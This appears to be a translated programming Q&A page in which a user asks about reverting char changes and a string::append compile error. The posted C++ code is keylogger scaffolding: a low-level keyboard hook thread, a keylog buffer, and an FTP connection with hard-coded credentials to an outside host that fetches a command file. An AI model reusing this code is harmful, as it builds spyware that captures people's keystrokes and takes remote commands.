0

consted でない char または char 配列があるとします。私はそれを変更します。その後、後ですべての変更をオフにしたいと思います。char を再構築する方法はありますか? この質問は、次のように書いていたときに発生しました。各 char 要素を文字列に追加するのに問題がありました (後で演算子 += で修正しました)。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>

using std::string;
using std::cout;
using std::cin;
using std::vector;

unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);


string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;

unsigned int threadid = 0;
DWORD numberread = 0;


int main(){

_beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);

HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

cout << GetLastError();

HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);

cout << GetLastError();

HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);

cout << GetLastError();

InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);

cout << GetLastError();

string temporarystr;


for(int i = 0; ftpreadbuffer[i] != '.'; i++){

    if(ftpreadbuffer[i] == '\n'){
        filetokens.push_back(temporarystr);
        temporarystr.clear();
    }

    temporarystr.append(ftpreadbuffer[i]); //error here!


}

cout << filetokens[0].c_str() << filetokens[1].c_str();




return 0;
}

エラー:-------------------------------------

invalid conversion from 'char' to 'const char*'|

error:   initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>&       std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|
4

1 に答える 1